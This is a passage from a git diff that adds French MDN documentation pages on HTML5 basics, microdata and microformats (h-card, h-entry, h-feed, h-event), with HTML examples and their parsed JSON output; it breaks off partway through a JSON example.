+ <dt class="landingPageList"><a href="/fr/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">Modes de compatibilité (<em>quirks mode</em>) et mode standard</a></dt>
+ <dd class="landingPageList">Des informations historiques à propos du mode <em>quirks</em> et du mode standard.</dd>
+</dl>
+</div>
+</div>
+
+<p><a href="/fr/docs/tag/HTML">Voir tout…</a></p>
+</section>
diff --git a/files/fr/web/html/index/index.html b/files/fr/web/html/index/index.html
new file mode 100644
index 0000000000..1b11c889ca
--- /dev/null
+++ b/files/fr/web/html/index/index.html
@@ -0,0 +1,9 @@
+---
+title: Index de la documentation HTML
+slug: Web/HTML/Index
+tags:
+  - HTML
+  - Index
+translation_of: Web/HTML/Index
+---
+<p>{{Index("/fr/docs/Web/HTML")}}</p>
diff --git a/files/fr/web/html/introduction_to_html5/index.html b/files/fr/web/html/introduction_to_html5/index.html
new file mode 100644
index 0000000000..51eaf4850e
--- /dev/null
+++ b/files/fr/web/html/introduction_to_html5/index.html
@@ -0,0 +1,40 @@
+---
+title: Introduction à HTML5
+slug: Web/HTML/Introduction_to_HTML5
+tags:
+  - HTML
+  - HTML5
+translation_of: Web/Guide/HTML/HTML5/Introduction_to_HTML5
+---
+<p><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/" title="http://www.whatwg.org/specs/web-apps/current-work/">HTML5</a> est la nouvelle version du standard HTML. Il apporte non seulement l'utilisation de média riches (vidéo, audio, SVG, etc.) mais aussi des fonctionnalités permettant le développement d'applications web bien plus attractives et interactives.</p>
+
+<p>Étant donné que HTML5 est encore en cours d'évolution, certains navigateurs ne supportent pas encore toutes les fonctionnalités offertes par ce nouveau standard. Ceci dit Gecko (et donc Firefox) supporte déjà dans sa version 1.8.1 une majorité des possibilités de HTML5. Vous trouverez ce que Gecko supporte déjà en visitant cette page : <a href="/fr/HTML/HTML5" title="fr/HTML/HTML5">HTML5</a>. Pour obtenir davantage d'informations sur le support de HTML5 par de multiples navigateurs, jetez un coup d'œil sur le site<a class="external" href="http://caniuse.com/#cats=HTML5" title="http://caniuse.com/#cats=HTML5"> CanIUse</a> .</p>
+
+<h2 id="Indiquer_que_le_document_contient_du_HTML5_grâce_au_doctype_HTML5">Indiquer que le document contient du HTML5 grâce au doctype HTML5</h2>
+
+<p>La doctype HTML5 est très simple, il s'agit simplement de ceci :</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+</pre>
+
+<p>Cela permet au navigateur ne supportant pas encore le HTML5 de passer en mode standard et ainsi d'ignorer les balises inconnues.</p>
+
+<p>Il est beaucoup plus simple que les précédents doctypes, et plus court. Il est ainsi plus facile à retenir et réduit le nombre d'octets devant être téléchargés.</p>
+
+<h2 id="Déclarer_l'encodage_de_caractères_avec_&lt;meta_charset>">Déclarer l'encodage de caractères avec <code>&lt;meta charset&gt;</code></h2>
+
+<p>La première chose que l'on fait d'habitude sur une page web c'est déclarer l'encodage de caractère utilisé. Dans les versions précédentes de HTML, ceci était fait en utilisant le très complexe élément {{HTMLElement("meta")}}. Avec HTML5, c'est beaucoup plus simple :</p>
+
+<pre class="brush:html;">&lt;meta charset="UTF-8"&gt;</pre>
+
+<p>Placez ceci au tout début de votre élément {{HTMLElement("head") }}, car certains navigateurs recommencent leur interprétation des documents HTML, si l'encodage de caractère déclaré est différent de ce qu'ils avaient anticipé. De plus, il est recommandé d'utiliser UTF-8, car il simplifie la gestion des caractères dans les documents utilisant plusieurs graphies.</p>
+
+<p>Notez que HTML5 limite les encodages autorisés à ceux qui sont compatibles avec ASCII et utilisant au moins 8 bits. Ceci pour améliorer la sécurité et éviter certains types d'attaques.</p>
+
+<h2 id="Utiliser_le_nouveau_parser_HTML5">Utiliser le nouveau parser HTML5</h2>
+
+<p>Les nouvelles règles d'analyse du HTML5, celles qui s'occupent de la sémantique du code, ont été renforcées. Jusqu'à l'arrivée du HTML5, seules les règles pour un code valide avaient été définies. À la moindre erreur dans le code (la plupart des sites Web en comportent au moins une), le comportement à adopter était laissé à la libre interprétation des navigateurs, qui ne choisissaient pas toujours le même. Maintenant, lorsque des erreurs sont rencontrées dans le code, tous les navigateurs implémentant HTML5 doivent se comporter de la même façon.</p>
+
+<p>Cette obligation aide les développeurs Web. Bien que tous les nouveaux navigateurs utilisent maintenant les règles d'analyse d'HTML5, des navigateurs ne respectant pas HTML5 sont encore utilisés. Il est toujours fortement recommandé d'écrire un code valide, car il est plus facile à lire et à maintenir, et diminue les risques d'incompatibilité avec les vieux navigateurs.</p>
+
+<p>Ne vous inquiétez pas, vous n'avez rien à changer sur votre site Web, les développeurs des navigateurs ont déjà fait le nécessaire !</p>
diff --git a/files/fr/web/html/microdonnées/index.html b/files/fr/web/html/microdonnées/index.html
new file mode 100644
index 0000000000..66230edd72
--- /dev/null
+++ b/files/fr/web/html/microdonnées/index.html
@@ -0,0 +1,140 @@
+---
+title: Microdonnées
+slug: Web/HTML/Microdonnées
+tags:
+  - HTML
+  - Microdata
+  - Microdonnées
+translation_of: Web/HTML/Microdata
+---
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/HTML")}}</div>
+
+<p>Les microdonnées (<em>microdata</em>) sont une partie de la spécification HTML du <a href="/fr/docs/Glossaire/WHATWG">WHATWG</a> qui est utilisée afin de fournir des métadonnées sur le contenu des pages web. Les moteurs de recherche, les robots (<em>crawlers</em>) d'analyse peuvent traiter les microdonnées d'une page web pour améliorer l'expérience de navigation. Les moteurs de recherches peuvent tirer parti des informations pour obtenir une meilleure pertinence. Les microdonnées sont structurées grâce à un vocabulaire permettant de décrire des objets qui sont des groupes de paires de noms/valeurs. Le but des microdonnées est de faciliter l'annotation des éléments HTML et d'être plus simple à utiliser que RDFa ou les microformats.</p>
+
+<p>Les microdonnées sont des groupes de paires nom-valeur. Ces groupes sont appelés des objets (<em>items</em>) et chaque paire nom-valeur est une propriété. Les objets et les propriétés s'inscrivent dans des éléments HTML classiques :</p>
+
+<ul>
+ <li>Pour créer un objet, on utilise l'attribut <strong><code>itemscope</code></strong></li>
+ <li>Pour ajouter une propriété, on utilise l'attribut <strong><code>itemprop</code></strong> sur l'un des descendants.</li>
+</ul>
+
+<h2 id="Vocabulaires">Vocabulaires</h2>
+
+<p>Google et les autres moteurs de recherches participent au vocabulaire défini par <a href="https://schema.org/">schema.org</a> pour structurer les données. Ce vocabulaire définit un ensemble standard de types et de noms de propriétés. Par exemple <code><a href="https://schema.org/MusicEvent">MusicEvent</a></code> indique un événement musical dont les propriétés <code><a href="https://schema.org/startDate">startDate</a></code> et <code><a href="https://schema.org/location">location</a></code> utilisées pour définir les détails du concert. Dans ce cas, l'URL <code><a href="https://schema.org/MusicEvent">https://schema.org/MusicEvent</a></code> sera l'URL utilisée pour l'attribut <code>itemtype</code> et les propriétés <code>startDate</code> et <code>location</code> seront les propriétés utilisées, définies par <code><a href="https://schema.org/MusicEvent">https://schema.org/MusicEvent</a></code>.</p>
+
+<p>Les vocabulaires de microdonnées fournissent la sémantique (c'est-à-dire la signification) d'un élément. Les développeurs et auteurs web peuvent construire des vocabulaires spécifiques ou réutiliser ceux disponibles sur le Web comme <a href="https://schema.org">schema.org</a>.</p>
+
+<p>Plusieurs moteurs de recherche (Google, Bing et Yahoo!) s'appuient sur <a href="https://schema.org/">schema.org</a> pour améliorer les résultats de recherche.</p>
+
+<h2 id="Localisation">Localisation</h2>
+
+<p>Dans certains cas, les moteurs de recherche couvrent un public régional. Certaines extensions sont donc ajoutées aux microdonnées pour fournir du contenu spécifique. Ainsi, <a href="https://www.yandex.com/">Yandex</a> qui est un moteur de recherche très présent en Russie supporte des microformats comme <em>hCard</em>, <em>hRecipe</em>, <em>hReview</em> et <em>hProduct</em> et fournit son propre format pour dédfinir les termes et les articles encyclopédiques. Cette extension a été construite afin de résoudre les problème de translitération entre les alphabets cyrillique et latin.</p>
+
+<h2 id="Attributs_globaux_liés_aux_microdonnées">Attributs globaux liés aux microdonnées</h2>
+
+<p>Certains attributs globaux concernent directement les microdonnées :</p>
+
+<dl>
+ <dt><code><a href="/fr/docs/Web/HTML/Attributs_globaux/itemid">itemid</a></code></dt>
+ <dd>Cet attribut est l'identifiant unique d'un objet.</dd>
+ <dt><code><a href="/fr/docs/Web/HTML/Attributs_globaux/itemprop">itemprop</a></code></dt>
+ <dd>Cet attribut est utilisé afin d'ajouter des propriétés à un élément.</dd>
+ <dt><code><a href="/fr/docs/Web/HTML/Attributs_globaux/itemref">itemref</a></code></dt>
+ <dd>Cet attribut permet de faire référence à d'autres éléments HTML décrivant le même objet.</dd>
+ <dt><code><a href="/fr/docs/Web/HTML/Attributs_globaux/itemscope">itemscope</a></code></dt>
+ <dd>Cet attribut définit la portée du vocabulaire déclaré par <code>itemtype</code> et englobe généralement un objet.</dd>
+ <dt><code><a href="/fr/docs/Web/HTML/Attributs_globaux/itemtype">itemtype</a></code></dt>
+ <dd>Cet attribut définit le vocabulaire qui spécifie le modèle de données utilisé pour décrire les objets.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div itemscope itemtype="https://schema.org/SoftwareApplication"&gt;
+  &lt;span itemprop="name"&gt;Angry Birds&lt;/span&gt; -
+
+  REQUIRES &lt;span itemprop="operatingSystem"&gt;ANDROID&lt;/span&gt;&lt;br&gt;
+  &lt;link itemprop="applicationCategory" href="https://schema.org/GameApplication"/&gt;
+
+  &lt;div itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating"&gt;
+    RATING:
+    &lt;span itemprop="ratingValue"&gt;4.6&lt;/span&gt; (
+    &lt;span itemprop="ratingCount"&gt;8864&lt;/span&gt; ratings )
+  &lt;/div&gt;
+
+  &lt;div itemprop="offers" itemscope itemtype="https://schema.org/Offer"&gt;
+    Price: $&lt;span itemprop="price"&gt;1.00&lt;/span&gt;
+    &lt;meta itemprop="priceCurrency" content="USD" /&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Structure_de_donnée">Structure de donnée</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="4">itemscope</td>
+   <td>itemtype</td>
+   <td colspan="2" rowspan="1">SoftwareApplication (https://schema.org/SoftwareApplication)</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>name</td>
+   <td>Angry Birds</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>operatingSystem</td>
+   <td>ANDROID</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>applicationCategory</td>
+   <td>GameApplication (https://schema.org/GameApplication)</td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="3">itemscope</td>
+   <td>itemprop[itemtype]</td>
+   <td colspan="2" rowspan="1">aggregateRating [AggregateRating]</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>ratingValue</td>
+   <td>4.6</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>ratingCount</td>
+   <td>8864</td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="3">itemscope</td>
+   <td>itemprop[itemtype]</td>
+   <td colspan="2" rowspan="1">offers [Offer]</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>price</td>
+   <td>1.00</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>priceCurrency</td>
+   <td>USD</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Fonctionnalité ajoutée dans Firefox 16 et retirée dans Firefox 49.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les attributs universels</a></li>
+ <li>
+  <p><a href="/fr/docs/Web/API/Microdata_DOM_API">L'API Microdata</a></p>
+ </li>
+</ul>
diff --git a/files/fr/web/html/microformats/index.html b/files/fr/web/html/microformats/index.html
new file mode 100644
index 0000000000..9144f6683b
--- /dev/null
+++ b/files/fr/web/html/microformats/index.html
@@ -0,0 +1,446 @@
+---
+title: microformats
+slug: Web/HTML/microformats
+tags:
+  - HTML
+  - Microformat
+  - µFormat
+translation_of: Web/HTML/microformats
+---
+<div>{{HTMLSidebar}}</div>
+
+<p><a href="http://microformats.org/"><dfn>Les microformats</dfn></a> (parfois abrégés <strong>μF</strong>) sont un ensemble de conventions pour intégrer une sémantique en HTML et fournir une API utilisable par les moteurs de recherche, les agrégateurs et d'autres outils. Ces constructions HTML permettent de marquer des entités pouvant être génériques (personnes, organisations, évènements, etc.) ou spécifiques à un domaine.</p>
+
+<p>Les microformats sont utilisés par l'ensemble des principaux moteurs de recherche. Les données associées sont fournies via l'attribut {{HTMLAttrXRef("class")}} et peuvent donc être ajoutées à n'importe quel élément HTML.</p>
+
+<p>Les valeurs fournies sont censées être interprétables par des machines et lisibles par les humains.</p>
+
+<p>Il existe <a href="http://microformats.org/wiki/microformats2#Parsers">différentes bibliothèques d'analyse pour la plupart des langages de programmation</a> qui permettent d'analyser les données microformats2.</p>
+
+<h3 id="Le_fonctionnement_des_microformat">Le fonctionnement des microformat</h3>
+
+<p>Un auteur d'une page web peut ajouter des microformats via le contenu HTML. Ainsi, si un auteur veut s'identifier via un élément, il peut utiliser une classe <a href="http://microformats.org/wiki/h-card">h-card</a> :</p>
+
+<div dir="ltr" style="text-align: left;">
+<pre class="source-html4strict">&lt;a class="h-card" href="http://example.com"&gt;Joe Bloggs&lt;/a&gt;</pre>
+
+<p>Lorsqu'un parseur de microformat détectera cette donnée, il saura que cette page contient une « carte » qui décrit une personne ou une organisation nommée <code>Joe Blogger</code> et donc l'URL est <code>http://example.com/</code>. Le parseur rend ensuite cette donnée accessible via des API qui pourront être utilisées par des applications.</p>
+</div>
+
+<h2 id="Préfixes_et_microformats">Préfixes et microformats</h2>
+
+<p>Tous les microformats se composent d'une racine et d'un ensemble de propriétés. Les propriétés sont optionnelles et peuvent avoir plusieurs valeurs (si une application a besoin d'une seule valeur, elle pourra utiliser la première valeur d'une propriété). Les données hiérarchisées sont représentées avec des microformats imbriqués.</p>
+
+<p>Tous les noms de classe des microformats utilisent des préfixes. La syntaxe des préfixes <strong>est indépendante de celle des vocabulaires</strong> (développées séparément).</p>
+
+<ul>
+ <li><strong>"h-*" pour les racines</strong> (ex. "h-card", "h-entry", "h-feed"…). Ces racines indiquent un type ciblant un vocabulaire de propriétés donné. Ainsi :
+
+  <ul>
+   <li><a href="http://microformats.org/wiki/h-card">h-card</a> décrit une personne ou une organisation</li>
+   <li><a href="http://microformats.org/wiki/h-entry">h-entry</a> décrit un contenu en ligne épisodique ou daté (tel qu'un billet de blog)</li>
+   <li><a href="http://microformats.org/wiki/h-feed">h-feed</a> décrit un flux (médias, billets, etc)</li>
+   <li>D'autres exemples sont décrits <a href="http://microformats.org/wiki/microformats2#v2_vocabularies">sur le wiki microformats2.</a></li>
+  </ul>
+ </li>
+ <li><strong>"p-*" pour les propriétés textuelles</strong> (ex. "p-name", "p-summary")
+  <ul>
+   <li>Un contenu texte. Pour certains éléments HTML, certains attributs spécifiques seront utilisés (ex. {{HTMLAttrxref("alt","img")}} pour {{HTMLElement("img")}},  {{HTMLAttrxref("title","abbr")}} pour {{HTMLElement("abbr")}}).</li>
+  </ul>
+ </li>
+ <li><strong>"u-*" pour les propriétés qui sont des URL</strong> (ex. "u-url", "u-photo", "u-logo")
+  <ul>
+   <li>Une analyse spécifique est nécessaire et ce sont les attributs plutôt que le contenu de l'élément qui seront utilisés (ex. {{HTMLAttrxref("src","img")}} pour {{HTMLElement("img")}}, {{HTMLAttrxref("href","a")}} pour {{HTMLElement("a")}}, {{HTMLAttrxref("object","data")}} pour {{HTMLElement("data")}}, etc.).</li>
+  </ul>
+ </li>
+ <li><strong>"dt-*" pour les propriétés temporelles (date/heure)</strong> (ex. "dt-start", "dt-end", "dt-bday")
+  <ul>
+   <li>Une analyse spécifique est nécessaire.</li>
+  </ul>
+ </li>
+ <li><strong>"e-*" pour les arborescences</strong> où l'intégralité de la hiérarchie de l'élément est la valeur à récupérer (ex. "e-content"). Le préfixe "e-" peut être retenu en anglais comme "<em><strong>e</strong>lement tree</em>", "<em><strong>e</strong>mbedded markup</em>" ou "<em><strong>e</strong>ncapsulated markup</em>".</li>
+</ul>
+
+<h2 id="Exemples_de_microformats">Exemples de microformats</h2>
+
+<h3 id="h-card">h-card</h3>
+
+<p>Le microformat <a href="http://microformats.org/wiki/h-card">h-card</a> représente une personne ou une organisation.</p>
+
+<p>La valeur de chaque propriété est définie en HTML via l'attribut <code>class</code>.</p>
+
+<div dir="ltr" style="text-align: left;">
+<pre class="brush: html">&lt;p class="h-card"&gt;
+  &lt;img class="u-photo" src="http://example.org/photo.png" alt="" /&gt;
+  &lt;a class="p-name u-url" href="http://example.org"&gt;Joe Bloggs&lt;/a&gt;
+  &lt;a class="u-email" href="mailto:joebloggs@example.com"&gt;joebloggs@example.com&lt;/a&gt;,
+  &lt;span class="p-street-address"&gt;17 Austerstræti&lt;/span&gt;
+  &lt;span class="p-locality"&gt;Reykjavík&lt;/span&gt;
+  &lt;span class="p-country-name"&gt;Iceland&lt;/span&gt;
+&lt;/p&gt;</pre>
+</div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Propriété</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><strong><code>p-name</code></strong></td>
+   <td>Le nom complet et formaté de la personne ou de l'organisation.</td>
+  </tr>
+  <tr>
+   <td><strong><code>u-email</code></strong></td>
+   <td>L'adresse électronique.</td>
+  </tr>
+  <tr>
+   <td><strong><code>u-photo</code></strong></td>
+   <td>Une photo pour la personne ou l'organisation.</td>
+  </tr>
+  <tr>
+   <td><strong><code>u-url</code></strong></td>
+   <td>La page d'accueil ou une URL représentant la personne ou l'organisation.</td>
+  </tr>
+  <tr>
+   <td><strong><code>u-uid</code></strong></td>
+   <td>Un identifiant universel unique (de préférence une URL canonique).</td>
+  </tr>
+  <tr>
+   <td><strong><code>p-street-address</code></strong></td>
+   <td>L'adresse composée du numéro et du nom de la rue.</td>
+  </tr>
+  <tr>
+   <td><strong><code>p-locality</code></strong></td>
+   <td>La ville ou le village de résidence.</td>
+  </tr>
+  <tr>
+   <td><strong><code>p-country-name</code></strong></td>
+   <td>Le nom du pays de résidence.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Exemple_imbriqué">Exemple imbriqué</h4>
+
+<div dir="ltr" style="text-align: left;">
+<pre class="brush: html">&lt;div class="h-card"&gt;
+  &lt;a class="p-name u-url"
+   href="http://blog.lizardwrangler.com/"
+  &gt;Mitchell Baker&lt;/a&gt;
+  (&lt;a class="p-org h-card"
+    href="http://mozilla.org/"
+   &gt;Mozilla Foundation&lt;/a&gt;)
+&lt;/div&gt;</pre>
+</div>
+
+<p>Cela fournira le JSON suivant :</p>
+
+<div dir="ltr" style="text-align: left;">
+<pre class="brush: json">{
+  "items": [{
+  "type": ["h-card"],
+  "properties": {
+    "name": ["Mitchell Baker"],
+    "url": ["http://blog.lizardwrangler.com/"],
+    "org": [{
+    "value": "Mozilla Foundation",
+    "type": ["h-card"],
+    "properties": {
+      "name": ["Mozilla Foundation"],
+      "url": ["http://mozilla.org/"]
+    }
+    }]
+  }
+  }]
+}</pre>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Le h-card imbriqué récupère des valeurs implicites pour <code>name</code> et <code>url</code>.</p>
+</div>
+
+<h3 id="h-entry">h-entry</h3>
+
+<p>Le microformat <a href="http://microformats.org/wiki/h-entry">h-entry</a> représente un contenu épisodique ou daté présent sur le Web. Il est généralement utilisé pour du contenu qui est présenté dans un flux (ex. les billets de blog).</p>
+
+<div dir="ltr" style="text-align: left;">
+<pre class="brush: html">&lt;article class="h-entry"&gt;
+  &lt;h1 class="p-name"&gt;Microformats are amazing&lt;/h1&gt;
+  &lt;p&gt;Published by &lt;a class="p-author h-card" href="http://example.com"&gt;W. Developer&lt;/a&gt;
+   on &lt;time class="dt-published" datetime="2013-06-13 12:00:00"&gt;13&lt;sup&gt;th&lt;/sup&gt; June 2013&lt;/time&gt;&lt;/p&gt;
+
+  &lt;p class="p-summary"&gt;In which I extoll the virtues of using microformats.&lt;/p&gt;
+
+  &lt;div class="e-content"&gt;
+  &lt;p&gt;Blah blah blah&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/article&gt;</pre>
+
+<h4 id="Propriétés">Propriétés</h4>
+</div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Propriété</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><strong><code>p-name</code></strong></td>
+   <td>Nom ou titre pour l'entrée.</td>
+  </tr>
+  <tr>
+   <td><strong><code>p-author</code></strong></td>
+   <td>L'auteur de l'entrée (éventuellement imbriquée avec une h-card).</td>
+  </tr>
+  <tr>
+   <td><strong><code>dt-published</code></strong></td>
+   <td>La date de publication de l'entrée.</td>
+  </tr>
+  <tr>
+   <td><strong><code>p-summary</code></strong></td>
+   <td>Un résumé de l'entrée.</td>
+  </tr>
+  <tr>
+   <td><strong><code>e-content</code></strong></td>
+   <td>Le contenu complet de l'entrée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Exemple_de_microformat_h-entry_analysé">Exemple de microformat h-entry analysé</h4>
+
+<pre class="brush: html" id="line1">&lt;div class="h-entry"&gt;
+  &lt;p&gt;&lt;span class="p-author h-card"&gt;
+    &lt;a href="https://quickthoughts.jgregorymcverry.com/profile/jgmac1106" &gt;&lt;img class="u-photo" src="https://quickthoughts.jgregorymcverry.com/file/2d6c9cfed7ac8e849f492b5bc7e6a630/thumb.jpg"/&gt;&lt;/a&gt;
+    &lt;a class="p-name u-url" href="https://quickthoughts.jgregorymcverry.com/profile/jgmac1106"&gt;Greg McVerry&lt;/a&gt;&lt;/span&gt;
+     Replied to &lt;a class="u-in-reply-to" href="https://developer.mozilla.org/en-US/docs/Web/HTML/microformats"&gt;a post on
+   &lt;strong&gt;developer.mozilla.org&lt;/strong&gt; &lt;/a&gt;:
+  &lt;/p&gt;
+   &lt;p class="p-name e-content"&gt;Hey thanks for making this microformats resource&lt;/p&gt;
+   &lt;p&gt; &lt;a href="https://quickthoughts.jgregorymcverry.com/profile/jgmac1106"&gt;Greg McVerry&lt;/a&gt;
+  published this &lt;a class="u-url url" href="https://quickthoughts.jgregorymcverry.com/2019/05/31/hey-thanks-for-making-this-microformats-resource"&gt;&lt;time class="dt-published"
+   datetime="2019-05-31T14:19:09+0000"&gt;31 May 2019&lt;/time&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<div class="panelContent">
+<pre class="brush: json">{
+  "items": [
+    {
+      "type": [ "h-entry" ],
+      "properties": {
+        "in-reply-to": [ "https://developer.mozilla.org/en-US/docs/Web/HTML/microformats" ],
+        "name": [ "Hey thanks for making this microformats resource" ],
+        "url": [ "https://quickthoughts.jgregorymcverry.com/2019/05/31/hey-thanks-for-making-this-microformats-resource" ],
+        "published": [ "2019-05-31T14:19:09+0000" ],
+        "content": [
+          {
+            "html": "Hey thanks for making this microformats resource",
+            "value": "Hey thanks for making this microformats resource",
+            "lang": "en"
+          }
+        ],
+        "author": [
+          {
+            "type": [ "h-card" ],
+            "properties": {
+              "name": [ "Greg McVerry" ],
+              "photo": [ "https://quickthoughts.jgregorymcverry.com/file/2d6c9cfed7ac8e849f492b5bc7e6a630/thumb.jpg" ],
+              "url": [ "https://quickthoughts.jgregorymcverry.com/profile/jgmac1106" ]
+            },
+            "lang": "en",
+            "value": "Greg McVerry"
+          }
+        ]
+      },
+      "lang": "en"
+    }</pre>
+</div>
+
+<h3 id="h-feed">h-feed</h3>
+
+<p>Le microformat <a href="http://microformats.org/wiki/h-feed">h-feed</a> est un flux de billets <a href="http://microformats.org/wiki/h-entry" title="h-entry">h-entry</a>.</p>
+
+<h4 id="Example_h-feed">Example h-feed</h4>
+
+<div dir="ltr" style="text-align: left;">
+<pre class="brush: html">&lt;div class="h-feed"&gt;
+  &lt;h1 class="p-name"&gt;Microformats Blogs&lt;/h1&gt;
+  &lt;article class="h-entry"&gt;
+  &lt;h2 class="p-name"&gt;Microformats are amazing&lt;/h2&gt;
+  &lt;p&gt;Published by &lt;a class="p-author h-card" href="http://example.com"&gt;W. Developer&lt;/a&gt;
+     on &lt;time class="dt-published" datetime="2013-06-13 12:00:00"&gt;13&lt;sup&gt;th&lt;/sup&gt; June 2013&lt;/time&gt;
+  &lt;/p&gt;
+  &lt;p class="p-summary"&gt;In which I extoll the virtues of using microformats.&lt;/p&gt;
+  &lt;div class="e-content"&gt; &lt;p&gt;Blah blah blah&lt;/p&gt; &lt;/div&gt;
+  &lt;/article&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<h4 id="Propriétés_2">Propriétés</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Propriété</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><strong><code>p-name</code></strong></td>
+   <td>Nom du flux.</td>
+  </tr>
+  <tr>
+   <td><strong><code>p-author</code></strong></td>
+   <td>Auteur du flux, éventuellement intégré via une h-card.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Éléments_fils">Éléments fils</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><strong>h-entry</strong></td>
+  </tr>
+  <tr>
+   <td>Des objets représentants des éléments du flux.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="h-event">h-event</h3>
+
+<p>Le microformat <code>h-event</code> permet de représenter des évènements.</p>
+
+<div dir="ltr" style="text-align: left;">
+<pre class="brush: html">&lt;div class="h-event"&gt;
+  &lt;h1 class="p-name"&gt;Microformats Meetup&lt;/h1&gt;
+  &lt;p&gt;From
+  &lt;time class="dt-start" datetime="2013-06-30 12:00"&gt;30&lt;sup&gt;th&lt;/sup&gt; June 2013, 12:00&lt;/time&gt;
+  to &lt;time class="dt-end" datetime="2013-06-30 18:00"&gt;18:00&lt;/time&gt;
+  at &lt;span class="p-location"&gt;Some bar in SF&lt;/span&gt;&lt;/p&gt;
+  &lt;p class="p-summary"&gt;Get together and discuss all things microformats-related.&lt;/p&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<h4 id="Propriétés_3">Propriétés</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Propriété</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><strong><code>p-name</code></strong></td>
+   <td>Nom ou titre pour l'évènement.</td>
+  </tr>
+  <tr>
+   <td><strong><code>p-summary</code></strong></td>
+   <td>Résumé de l'évènement.</td>
+  </tr>
+  <tr>
+   <td><strong><code>dt-start</code></strong></td>
+   <td>Date/heure de début de l'évènement</td>
+  </tr>
+  <tr>
+   <td><strong><code>dt-end</code></strong></td>
+   <td>Date/heure de fin de l'évènement</td>
+  </tr>
+  <tr>
+   <td><strong><code>p-location</code></strong></td>
+   <td>Emplacement / lieu de l'évènement, éventuellement indiqué par une h-card.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Exemple_d'analyse">Exemple d'analyse</h4>
+
+<div dir="ltr" style="text-align: left;">
+<pre class="brush: html">&lt;div class="h-event"&gt;
+  &lt;h2 class="p-name"&gt;IndieWeb Summit&lt;/h2&gt;
+  &lt;time class="dt-start" datetime="2019-06-29T09:00:00-07:00"&gt;June 29, 2019 at 9:00am  (-0700)&lt;/time&gt;&lt;br&gt;through &lt;time class="dt-end" datetime="2019-06-30T18:00:00-07:00"&gt;June 30, 2019 at 6:00pm (-0700)&lt;/time&gt;&lt;br&gt;
+  &lt;div class="p-location h-card"&gt;
+    &lt;div&gt;
+    &lt;span class="p-name"&gt;Mozilla&lt;/span&gt;
+     &lt;/div&gt;
+     &lt;div&gt;
+      &lt;span class="p-street-address"&gt;1120 NW Couch St&lt;/span&gt;,
+      &lt;span class="p-locality"&gt;Portland&lt;/span&gt;,
+      &lt;span class="p-region"&gt;Oregon&lt;/span&gt;,
+      &lt;span class="p-country"&gt;US&lt;/span&gt;
+     &lt;/div&gt;
+       &lt;data class="p-latitude" value="45.52345"&gt;&lt;/data&gt;
+      &lt;data class="p-longitude" value="-122.682677"&gt;&lt;/data&gt;
+  &lt;/div&gt;
+    &lt;div class="e-content"&gt;Come join us
+     &lt;/div&gt;
+    &lt;div&gt;
+     &lt;span class="p-author h-card"&gt;&lt;a class="u-url p-name" href="https://aaronparecki.com"&gt;Aaron Parecki&lt;/a&gt;&lt;/span&gt; Published this &lt;a href="https://aaronparecki.com/2019/06/29/1/" class="u-url"&gt;event &lt;/a&gt;on &lt;time class="dt published" datetime="2019-05-25T18:00:00-07:00"&gt;May 5th, 2019&lt;/time&gt;
+    &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+
+
+<div class="panelContent">
+<pre class="brush: json">{
+  "items": [
+    {
+      "type": [ "h-event" ],
+      "properties": {
+        "name": [ "IndieWeb Summit" ],
+        "url": [ "https://aaronparecki.com/2019/06/29/1/" ],
+        "author": [
+          {
+            "type": [ "h-card" ],
+            "properties": {
+              "name": [ "Aaron Parecki" ],
+              "url": [ "https://aaronparecki.com"]
+            },
+            "lang": "en",
+            "value": "Aaron Parecki"
+          }
+        ],
+        "start": [ "2019-06-29T09:00:00-07:00" ],
+        "end": [ "2019-06-30T18:00:00-07:00" ],
+        "published": [ "2019-05-25T18:00:00-07:00" ],
+        "content": [
+          {
+            "html": "Come join us",
+            "value": "Come join us",
+            "lang": "en"
+          }
+        ],
+        "location": [
+          {
+            "type": [ "h-card" ],
+            "properties": {
+              "name": [ "Mozilla" ],
+              p-street-address: [ "1120 NW Couch St" ]
+              "locality": [ "Portland" ],
